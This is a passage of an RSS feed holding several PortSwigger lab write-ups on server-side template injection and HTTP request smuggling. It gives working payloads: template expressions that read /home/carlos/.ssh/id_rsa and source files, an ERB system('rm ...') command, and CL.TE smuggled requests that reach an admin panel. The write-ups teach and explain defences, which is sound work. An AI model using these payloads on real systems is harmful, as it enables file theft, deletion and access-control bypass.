src="https://cdn-images-1.medium.com/max/1024/1*TKewiOBnuU9zqxsva2AXZw.png" /></figure><ul><li>There is a functionality to upload image and set it as your avatar. Try to check this without and with image, when we have tried to upload image normally it is uploaded successfully but when we try to do request without uploading any image it returns a <strong>error.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*cKv0k9WczPgC6iQSPuuVvQ.png" /></figure><ul><li>The error message discloses a method called user.setAvatar(). Also take note of the file path /home/carlos/User.php</li></ul><p><strong>Step-2 : </strong>Identify the SSTI Injection Point</p><ul><li>There is one more functionality to choose your preffered name. we wil try to inspect the request behind it using burpsuite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pmCuSInNsxEEes_zbFPldw.png" /></figure><ul><li>In Burp Repeater, open the POST request for changing your preferred name and use the blog-post-author-display parameter to set an arbitrary file as your avatar. This is our main injection point.</li></ul><p><strong>Step-3 :</strong> Exploiting the vulnerability</p><ul><li>Change the parameter value to this user.setAvatar(&#39;/home/carlos/User.php&#39;)</li><li>This will give an error, to fix it we have to add image/jpg as the second file like this user.setAvatar(&#39;/home/carlos/User.php&#39;,&#39;image/jpg&#39;)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g80N_koEYPrNMXrIYee1CQ.png" /></figure><ul><li>Firstly do a test comment on any post you like and then Load the page containing your test comment to render the template</li><li>To read the file, load the avatar using GET /avatar?avatar=wiener</li><li>In the PHP file, Notice that you have access to the gdprDelete() function, which deletes the user&#39;s avatar. You can combine this knowledge to delete Carlos&#39;s file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*Uv-t36LCefyyjdR7rnVlFQ.png" /></figure><p><strong>Step-4 : </strong>Solving the lab</p><ul><li>Now we set our target file as user.setAvatar(&#39;/home/carlos/.ssh/id_rsa&#39;,&#39;image/jpg&#39;)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-RAh_FxUiJC6ykyfQLO7qg.png" /></figure><ul><li>Then Load the comment and send the final request with the parameter value user.gdprDelete()to deletethe file and sole the lab</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpTXaKVHvTXyB-ZbyQ_MGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgC7Lohcl0z5tyocMEnZuw.png" /></figure><h4>Root Cause</h4><p>The root cause of the vulnerability is the application’s unsafe handling of user-controlled input within a server-side template.</p><p>The preferred-name functionality allows attacker-controlled template syntax to be evaluated on the server. More importantly, the template has access to a developer-supplied user object containing application-specific methods. In the lab, this object exposes functionality such as setAvatar() and gdprDelete().</p><p>The vulnerability becomes more severe because these methods were made available inside a context where an attacker could control the template expression. By investigating the application’s behavior and source code, it was possible to chain these legitimate application functions together to perform unintended actions, including reading arbitrary files and ultimately deleting a file belonging to another user.</p><p>The deeper issue is therefore not simply that SSTI exists. The application <strong>exposed a powerful application object to an attacker-controlled template environment</strong> without sufficiently restricting what that object could access or what operations its methods could perform.</p><h4><strong>Security Impact</strong></h4><p>The impact of SSTI depends heavily on the objects, methods, and privileges exposed to the template.</p><p>In this lab, exploitation allows an attacker to:</p><ul><li>Access developer-supplied application objects.</li><li>Invoke methods that were intended for legitimate application functionality.</li><li>Read arbitrary files from the server.</li><li>Disclose sensitive application source code.</li><li>Discover additional privileged functionality.</li><li>Chain application methods to perform unauthorized actions.</li><li>Delete files belonging to another user.</li></ul><p>During the lab, arbitrary file access is demonstrated by using user.setAvatar() to point the avatar to /etc/passwd and later to /home/carlos/User.php. The source code then reveals the gdprDelete() functionality, which can be abused to delete the target file.</p><h4>Prevention</h4><p>The strongest defense is to <strong>avoid allowing users to control or submit server-side templates</strong> whenever possible. User input should be passed into a predefined template as data rather than being concatenated into the template itself.</p><p>For applications that genuinely require user-controlled templates:</p><ul><li><strong>Separate template logic from user data</strong><br>Do not concatenate untrusted input into template source.</li><li><strong>Minimize the template context</strong><br>Only expose the variables and objects that the template actually requires.</li><li><strong>Do not expose powerful application objects</strong><br>Objects containing file operations, database access, administrative functions, or other privileged methods should not be directly accessible from untrusted templates.</li><li><strong>Use a restricted or logic-less template engine where appropriate</strong><br>Technologies such as Mustache can reduce the amount of executable logic available in templates.</li><li><strong>Use sandboxing as defense-in-depth</strong><br>Sandboxing can reduce the available attack surface, but it should not be treated as the only security boundary because sandboxing untrusted template code is inherently difficult and can be bypassed.</li><li><strong>Apply least privilege</strong><br>The application process should have only the filesystem and application permissions it actually needs.</li><li><strong>Isolate high-risk template processing</strong><br>Where arbitrary template execution is unavoidable, additional isolation such as a locked-down container can provide another security boundary.</li></ul><h4>Conclusion</h4><p>This lab demonstrates why SSTI should not be treated simply as a template-syntax problem.</p><p>The initial injection point provided access to a developer-supplied user object. By investigating the object&#39;s available methods and chaining their functionality, it was possible to move from template injection to arbitrary file access, source-code disclosure, and ultimately unauthorized file deletion.</p><p>The key lesson is that <strong>developer-supplied objects can significantly expand the attack surface of an SSTI vulnerability</strong>. Even when direct code execution is unavailable, exposed application functionality may provide alternative paths to sensitive data or security-impacting actions.</p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>GitHub:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82ead6cdc95c" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/server-side-template-injection-ssti-from-sandbox-escape-to-remote-code-execution-82ead6cdc95c">Server-Side Template Injection (SSTI): From Sandbox Escape to Remote Code Execution</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Template Injection (SSTI): A Beginner’s Guide with a Practical Lab]]></title>
            <link>https://medium.com/@dakshdhamija2006/server-side-template-injection-ssti-a-beginners-guide-with-a-practical-lab-ccfdf1fdb8ce?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccfdf1fdb8ce</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[server-side-rendering]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 10:25:29 GMT</pubDate>
            <atom:updated>2026-09-16T10:25:29.981Z</atom:updated>
            <content:encoded><![CDATA[<p>Learn how Server-Side Template Injection (SSTI) works, how to identify and exploit basic SSTI vulnerabilities, and how template engines can turn untrusted input into server-side code execution using a practical PortSwigger lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cV9JxRzrQ135gRQjrODlA.png" /></figure><p><strong>Server-Side Template Injection (SSTI)</strong> is a web security vulnerability that occurs when user-supplied input is embedded directly into a server-side template and interpreted as executable template code rather than plain text data. Modern web applications use template engines (example: Jinja2, Twig, Freemarker, Handlebars) to separate presentation layers from underlying application logic.</p><h4>What Are Template Engines?</h4><p>A <strong>template engine</strong> is software on the web server that processes template files. It takes static template blueprints, injects dynamic data from a database or application logic into the placeholders, and generates the final output (usually HTML) to send to the user’s browser.</p><p><strong>Basic rendering flow :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*wR15t9eAYeIxxt07nk9Wrg.png" /></figure><p><strong>Common Template Engines :</strong></p><ul><li><strong>Jinja2:</strong> A widely used, feature-rich template engine for Python (commonly paired with Flask and Django).</li><li><strong>Twig:</strong> A flexible, fast, and secure template engine for PHP applications (popularized by Symfony).</li><li><strong>FreeMarker:</strong> A Java-based template engine primarily used for generating HTML web pages and source code.</li><li><strong>Velocity:</strong> An open-source Java-based template engine designed to separate web application presentation layers.</li><li><strong>ERB (Embedded Ruby):</strong> The default templating system built into Ruby, allowing Ruby code to be embedded directly into HTML files.</li></ul><h4>How Server-Side Template Injection Happens?</h4><p><strong>Normal Template Rendering (Secure) : </strong>In a secure application, the developer defines a fixed template containing placeholders. When a user submits data, the application treats that input strictly as a parameter (data) and passes it alongside the template string into the engine.</p><pre>User Input → Application → Template as Code + User Input as Data → HTML</pre><p><strong>Vulnerable Template Rendering : </strong>In a vulnerable application, the developer takes raw user input and concatenates or formats it directly <em>into</em> the template string before passing it to the engine.</p><pre>User Input → Template → Template Engine Evaluates Input → Unexpected Code Execution</pre><p>The key difference between <strong>Normal Template Rendering (Secure) </strong>and <strong>Vulnerable Template Rendering </strong>is that in secure user input is treated as data and in vulnerable user input is treated as a template syntax.</p><h4>Detecting SSTI</h4><ul><li>Look for parameters that influence server-generated HTML.</li><li>Test whether template expressions are evaluated.</li><li>Use simple mathematical expressions as probes.</li></ul><p><strong>Example :</strong></p><pre>{{7*7}}</pre><p>If the application returns</p><pre>49</pre><p>This indicates that the input may have been evaluated by the template engine. Template syntax varies between different engines, so payloads are engine-specific.</p><h4>PortSwigger Lab: Basic SSTI Lab</h4><p><strong>Lab Objective:</strong> This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.</p><p>To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos&#39;s home directory.</p><p><strong>Step-1:</strong> Identify the Injection Point</p><ul><li>In this lab we get a home page with different products listed. when we try to access one of the products we get a message Unfortunately this product is out of stock</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BmBPuXaGWbjU_vyGeMIrKg.png" /></figure><ul><li>When we received this message, it is shown in the URL by a <strong>/?message= </strong>query parameter which is our main injection point.</li></ul><p><strong>Step-2:</strong> Test for Template Evaluation</p><ul><li>Now we will try to add a a basic payload to see if any template engine evaluates it. In this lab we are using ERB template engine so i will try that payload but in real world scenario we have to probe with different payloads.</li></ul><pre>&lt;%= 7*7 %&gt;</pre><ul><li>Use this payload as URL-encoded.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b8lxXweIIdSkae6gzAjG4Q.png" /></figure><ul><li>This evaluates the payload and resulted out 49 so there is a possible vulnerable template injection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ejSmtEbQkyp358ozftHZKw.png" /></figure><p><strong>Step-3: </strong>Exploit the Vulnerability</p><ul><li>According to lab objective we have to delte a file named morale.txt so we will check the documentation of ERB template engine to find any method by which we can perform any command in underlying system(RCE).</li><li>From the documentation, discover the system() method, which can be used to execute arbitrary operating system commands.</li><li>We use this payload URL-encoded for performing <strong>RCE</strong></li></ul><pre>&lt;%= system(&quot;rm /home/carlos/morale.txt&quot;) %&gt;</pre><ul><li>This payload will delete that file in order to complete the lab</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bFsb27ZgwJi-WwAFCWfM3Q.png" /></figure><h4>Root Cause</h4><p>The root cause of SSTI is mixing untrusted user input with template code.</p><p><strong>Vulnerable Pattern :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*qcvlFMDBUsyFXj84h-sxrg.png" /></figure><ul><li>User-controlled data is inserted directly into a template.</li><li>The template engine interprets the resulting content.</li><li>This allows an attacker to inject template expressions or code.</li></ul><p><strong>Secure Pattern :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*pCsNX1h6kAOHnfsVPt9MPA.png" /></figure><ul><li>Keep template code separate from user-controlled data.</li><li>Pass user input as variables rather than constructing templates from it.</li></ul><h4>Security Impact</h4><p>Depending on the template engine and application configuration, SSTI can lead to:</p><ul><li>Server-side code execution</li><li>Sensitive information disclosure</li><li>Reading server-side files</li><li>Access to application objects and configuration</li><li>Credential or secret exposure</li><li>Server compromise</li><li>Further attacks against internal systems</li></ul><p><em>The exact impact depends on the template engine, available objects, application privileges, and whether the template environment is sandboxed.</em></p><h4>Prevention</h4><p><strong>Recommended Defenses :</strong></p><ul><li>Never allow users to control template source code.</li><li>Pass user input as data rather than concatenating it into templates.</li><li>Use safe template APIs and documented rendering mechanisms.</li><li>Apply strict input validation where appropriate.</li><li>Use logic-less templating when suitable for the application.</li><li>Use sandboxed template environments as defense-in-depth.</li><li>Run template rendering with minimal privileges.</li><li>Keep sensitive secrets and privileged objects out of the template context.</li></ul><p>Sandboxing should <strong>not</strong> be considered the primary fix. The preferred approach is to ensure that <strong>untrusted input is never interpreted as template code in the first place</strong>.</p><h4>Conclusion</h4><p>Server-Side Template Injection is caused by treating untrusted input as template code instead of ordinary data. Although the initial injection may look similar to other injection vulnerabilities, SSTI occurs within the server-side template engine and can potentially lead to severe server-side impact.</p><p>Understanding how template engines process input makes it easier to identify the root cause, recognize SSTI during testing, and implement the correct defensive controls.</p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>GitHub:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccfdf1fdb8ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Request Smuggling: Exploiting Front-End Request Rewriting]]></title>
            <link>https://cybersecuritywriteups.com/http-request-smuggling-exploiting-front-end-request-rewriting-0c00baf96cb9?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c00baf96cb9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Wed, 09 Sep 2026 11:49:09 GMT</pubDate>
            <atom:updated>2026-09-11T02:47:27.620Z</atom:updated>
            <content:encoded><![CDATA[<p>Advanced HTTP Request Smuggling explores how front-end request rewriting can be abused to reveal injected headers such as X-Forwarded-For. This article walks through a PortSwigger lab to demonstrate how request desynchronization can lead to information disclosure and security-control bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7suNLreomobs99rJbGuIug.png" /></figure><p><strong>HTTP Request Smuggling</strong> happens when a front-end-server and a back-end server disagree on where one web request ends and the next one begins.</p><p>This write-up focuses on what happens when the front-end server adds extra information to a request before passing it along. By smuggling a request, an attacker can trick the system into revealing or altering these hidden headers, such as:</p><ul><li><strong>X-Forwarded-For</strong>: Headers that reveal the real IP address of the user.</li><li><strong>Internal routing headers</strong>: Headers used by the system to direct traffic between internal servers.</li><li><strong>Other proxy-added headers</strong>: Secret tokens, user IDs, or login details attached automatically by the front-end.</li></ul><h4>Why Front-End Request Rewriting Matters?</h4><p>Front-end servers (like load balancer or reverse proxies) don’t just pass requests straight, they frequently inspect and modify request beforing forwarding it to back-end server. To help manage security, logging, and internal routing, these proxies automatically append specific headers to the request, like <strong>X-Forwarded-For</strong> to track user IP addresses, alongside other internal gateway or proxy headers. Back-end servers are typically configured to implicitly trust these extra headers because they assume they were securely injected by their own trusted infrastructure rather than an external user.</p><p>The core vulnerability here goes beyond traditional smuggling: the attacker uses the smuggled request to manipulate the back-end into processing a payload that contains sensitive, pre-authenticated, or internal routing data freshly injected by the front-end proxy.</p><h4>Attack Flow</h4><p>Attacker<br> ↓<br>Crafted HTTP Request<br> ↓<br>Front-End Server<br> ↓<br>Front-end rewrites/injects headers<br> ↓<br>Back-End Server<br> ↓<br>Smuggled request interacts with another request<br> ↓<br>Front-end-added data is exposed</p><h4>PortSwigger Lab: Advanced Request Smuggling</h4><p><strong>Lab Objective</strong>: This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.</p><p>There’s an admin panel at /admin, but it&#39;s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It&#39;s similar to the X-Forwarded-For header but has a different name.</p><p>To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.</p><p><strong>Step-1</strong> : Understand the Application</p><ul><li>Identify the normal request. There is a /admin endpoint, we try to access it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLu4wTHL4x-wAhKGP19amA.png" /></figure><ul><li>When we try to access the admin endpoint, we got status-code:401 unauthorized and a message indicating that admin page is only available to requests from ip 127.0.0.1 (localhost).</li></ul><p><strong>Step-2</strong> : Understand the Front-End Rewrite</p><ul><li>From previous step we know admin interface is only accessible via ip:127.0.0.1, so maybe possible that before forwarding our request to back-end, front-end is modifying our request or adding something like header to it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUtAkezWr4w0LBf0ux4MwQ.png" /><figcaption>Sent this request to know the header which is used to identify from where request is coming.</figcaption></figure><pre>X-oXwLDF-Ip: &lt;your ip&gt;</pre><p><strong>Step-3</strong> : Craft the Final Requests</p><ul><li>We will add this to our request in order to access the the admin panel.</li><li>Firstly we create the simple layout that we use in the basic http smuggling as CL.TE because front-end uses content length to know the ending of the request and then the new request that back-end takes it as a separate new request and that header which we found in our previous step with value 127.0.0.1</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*vfZqoRShwY9A-X67Er-HRA.png" /></figure><ul><li>Final crafted request becomes this and we are able to access admin panel.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2OCfOTNXoXSpx-fu2jzV3A.png" /></figure><p><strong>Step-4</strong> : Solve the lab</p><ul><li>Objective of this lab is to delete a user named carlos by accessing admin panel so we will craft a final request to solve the lab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LaepHJtZc99wb6VFy1zBow.png" /></figure><ul><li>After sending the final request refresh your home page and you have solved the lab.</li></ul><h4>Understanding the attack</h4><p><strong>Normal Behaviour :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*fA9fZ5lw1X3mmYbAvHZBQQ.png" /></figure><ul><li><strong>Client Sends Request:</strong> The client sends a standard HTTP request to the front-end proxy.</li><li><strong>Front-End Rewriting:</strong> The proxy processes the request, appends required internal headers (such as X-Forwarded-For, client IP tags, or user ID tokens), and forwards it.</li><li><strong>Back-End Execution:</strong> The back-end server reads the request, trusts the proxy-added headers, executes the command, and returns the response to the client.</li></ul><p><strong>Smuggling Behaviour :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*7ifgr9mvtNnGKZIF1xI4hw.png" /></figure><p>In HTTP request smuggling with front-end rewriting, a parser disagreement leaves an incomplete, smuggled request fragment waiting in the back-end’s socket buffer. When the next request arrives, the front-end appends its standard headers (such as X-Forwarded-For or internal tokens) and forwards it, causing the back-end to concatenate this rewritten request directly onto the end of the attacker&#39;s smuggled fragment. By tricking the back-end into interpreting these proxy-added headers as parameters or body text of the smuggled request, an attacker can either reflect and leak sensitive internal tokens or trick the back-end into trusting the request as internal infrastructure traffic to bypass access controls.</p><h4>Root Cause</h4><p>The fundamental root cause remains inconsistent interpretation of HTTP request boundaries between the front-end and back-end, but the functional impact differs from traditional vulnerabilities:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*mju6Lldxd7eMhs4NwFTL3w.png" /></figure><ul><li><strong>Basic smuggling:</strong> Focuses on desynchronizing requests to poison caches or hijack responses.</li><li><strong>Advanced exploitation:</strong> Uses that same desynchronization to interact with or expose data appended to other requests by infrastructure.</li></ul><h4>Security Impact</h4><p>While systems vary based on architectural design, potential impacts of advanced request rewriting smuggling include:</p><ul><li>Disclosure of front-end-added headers</li><li>Exposure of internal routing information</li><li>Bypass of security controls relying on trusted proxy headers</li><li>Interference with other users’ requests</li><li>Session or credential-related data exposure in specific architectures</li><li>Chaining with other secondary vulnerabilities</li></ul><h4>Prevention</h4><p><strong>Prevent Request Smuggling</strong></p><ul><li>Ensure front-end and back-end parse requests consistently.</li><li>Reject ambiguous HTTP requests.</li><li>Normalize requests before forwarding.</li><li>Avoid unsafe HTTP/2 to HTTP/1 downgrading where possible.</li><li>Prefer end-to-end HTTP/2 where appropriate.</li><li>Keep proxy and back-end HTTP parsing behavior consistent.</li></ul><h4>Protect Front-End Headers</h4><ul><li>Don’t blindly trust client-controlled forwarding headers.+</li><li>Strip and recreate headers such as X-Forwarded-For at trusted boundaries.</li><li>Validate proxy-added headers independently.</li><li>Don’t use a single front-end header as the sole basis for security decisions.</li></ul><h4>Conclusion</h4><p>Advanced HTTP Request Smuggling demonstrates that request desynchronization is more than a simple parsing problem. When a front-end rewrites requests by adding trusted headers, an attacker can weaponize this desynchronization to expose or manipulate information that was never intended to be directly accessible.</p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>Github:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c00baf96cb9" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/http-request-smuggling-exploiting-front-end-request-rewriting-0c00baf96cb9">HTTP Request Smuggling: Exploiting Front-End Request Rewriting</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Request Smuggling: Understanding the CL.TE Vulnerability]]></title>
            <link>https://medium.com/@dakshdhamija2006/http-request-smuggling-understanding-the-cl-te-vulnerability-75d5aa8b7c41?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/75d5aa8b7c41</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[http-request-smuggling]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 13:37:33 GMT</pubDate>
            <atom:updated>2026-09-02T13:37:33.040Z</atom:updated>
            <content:encoded><![CDATA[<p>HTTP Request Smuggling is a subtle web security vulnerability caused by inconsistencies in how front-end and back-end servers interpret HTTP request boundaries. In this article, we break down the fundamentals of request smuggling and focus on the classic CL.TE vulnerability, using a PortSwigger Web Security Academy lab to understand how the attack works in practice. The article connects the crafted request back to its root cause and concludes with key defensive measures for preventing request desynchronization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ym9CVQAyDcJPSbBCJBB6Yw.png" /></figure><h4>What is HTTP request smuggling?</h4><p>HTTP request smuggling is a critical vulnerability which interferes with the way a web application processes HTTP request, it is a severe threat as it allows attackers to bypass security controls , unauthorized access to sensitive data and directly compromise other applications.</p><p>To understand this attack first look at how modern web applications route traffic.</p><p><strong>Architecture :</strong></p><p>Most web applications do not allow users to directly communicate to the application code, instead they use multi-layered architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*lQbkkt5BjY3mzKhrFi65HQ.png" /></figure><p>To improve performance and reduce overhead, the front-end server forwards multiple client requests to the back-end server over a single, shared network connection. This is known as HTTP connection reuse.</p><p><strong>Conflict :</strong></p><p>The vulnerability occurs when front-end server and back-end server both interpret the request differently. An attacker takes the advantage of this disagreement by sending a manipulated request. Because the two servers disagree on where the request ends, the back-end server interprets the trailing part of the request as a next new legitimate request.</p><h4>Content-Length vs Transfer-Encoding</h4><ul><li>The Content-Length header explicitly states the exact size of the request body in bytes. The server counts this specific number of bytes after the headers to find the end of the request.</li><li>The Transfer-Encoding: chunked header tells the server that the request body will be sent in one or more &quot;chunks&quot;.The message is terminated by a special <strong>zero-length chunk</strong> (0), followed by an empty line.</li></ul><h4>Understanding CL.TE</h4><p>The <strong>CL.TE</strong> variant occurs when a specific configuration mismatch happens between your routing layers:</p><pre>Front-end server  →  Uses Content-Length<br>Back-end server   →  Uses Transfer-Encoding: chunked</pre><p>The core vulnerability is simply that the two servers use different mechanisms to determine the request boundary not the presence of both headers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*aBeLfYD1E0SWNe6Lwbljsw.png" /></figure><p>Because the back-end stops reading the chunked body at the zero-length chunk, the remaining bytes can remain in the connection buffer. If the connection is reused, those bytes can then be interpreted as the beginning of the next request, causing the requests to become desynchronized., altering its behavior entirely.</p><h4>PortSwigger Lab: Basic CL.TE</h4><p><strong>Lab Objective : </strong>This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.</p><p>To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.</p><p><strong>Step-1 :</strong> Identify the original request and send it to burps repeater tab for further testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8u1aoRKccTWNNpEWtqCRw.png" /></figure><p><strong>Step-2 :</strong> Firstly do some changes like change the request method to POST because we want to send request body and change the HTTP/2 to HTTP/1.1 from inspector menu as basic request smuggling vulnerability arises in HTTP/1.1 and off the auto update content length option in repeater settings as show in images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjH-fSG8DtWVJDTYEabmoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*kRrefcUWrkMmCqvP-AzCuA.png" /></figure><p>Step-3 : Craft the CL.TE request according to the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*PWiWZbsD3vbffNFCF_nkhg.png" /></figure><p>In this modified request you can see we have added the Transfer-Encoding header and it’s value is chunked because in CL.TE vulnerability front-end server remember the ending of the request body with content-length and back-end remember with the transfer-encoding header.</p><pre>Content-Length: 6<br>Transfer-Encoding: chunked<br><br>0<br><br>G</pre><p><strong>What the front-end sees : </strong>The front-end server uses Content-Length: 6, so it considers the next 6 bytes to be part of the request body and pass it to the back-end server normally. To know the exact length of bytes we can select or request body and take a look at the inspector panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*aPPhx64y9yvQWZrP9M3lfQ.png" /></figure><p><strong>What the back-end sees :</strong> The back-end server uses Transfer-Encoding: chunked. It interprets 0 as the zero-length terminating chunk, so it considers the chunked request body complete. The remaining G is therefore left to be interpreted as the beginning of the next request. When the next legitimate request begins with POST, the back-end combines the leftover G with POST, resulting in GPOST.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9FLSXOhr_hP-X91klke5A.png" /><figcaption>Result : GPOST</figcaption></figure><h4><strong>Root Cause</strong></h4><p>The lab isn’t a separate trick. It is a practical demonstration of the same parsing disagreement explained earlier.</p><ul><li>Front-end:<br> Based on Content-Length, the request ends at the G.</li><li>Back-end:<br> Based on Transfer-Encoding, the request ends at the 0.</li></ul><p>That disagreement causes desynchronization and allows the attacker to influence how the next request is interpreted.</p><h4>Security Impact</h4><p>HTTP Request Smuggling compromises server trust, allowing attackers to bypass front-end access controls, hijack user sessions, and poison web caches. These manipulations enable unauthorized access to administrative panels and the exposure of sensitive authentication tokens and this vulnerability can also be chained with other common vulnerabilities to create a serious impact.</p><h4>How to Prevent HTTP Request Smuggling?</h4><ul><li>Use HTTP/2 end-to-end where possible and avoid HTTP/2-to-HTTP/1 downgrading.</li><li>Normalize ambiguous requests at the front-end.</li><li>Configure the back-end to reject requests that remain ambiguous.</li><li>Ensure front-end and back-end servers use consistent HTTP parsing rules.</li><li>Reject malformed or ambiguous requests rather than attempting to interpret them.</li><li>Disabling connection reuse can mitigate some attacks, but it is not a complete defense.</li></ul><h4>Conclusion :</h4><p>The core takeaway of this vulnerability comes down to three fundamental principles:</p><ul><li><strong>Boundary Problem:</strong> HTTP Request Smuggling is fundamentally a request-boundary flaw where two servers disagree on where one request ends and the next begins.</li><li><strong>CL.TE Asymmetry:</strong> A CL.TE vulnerability occurs specifically when the front-end server processes the request using the Content-Length header while the back-end server prioritizes the Transfer-Encoding header.</li><li><strong>Core Skillset:</strong> Success in identifying and exploiting this flaw isn’t about memorizing specific payloads — it relies on understanding how different server implementations parse HTTP requests and using those parsing disparities to create stream desynchronization.</li></ul><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>Github:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75d5aa8b7c41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
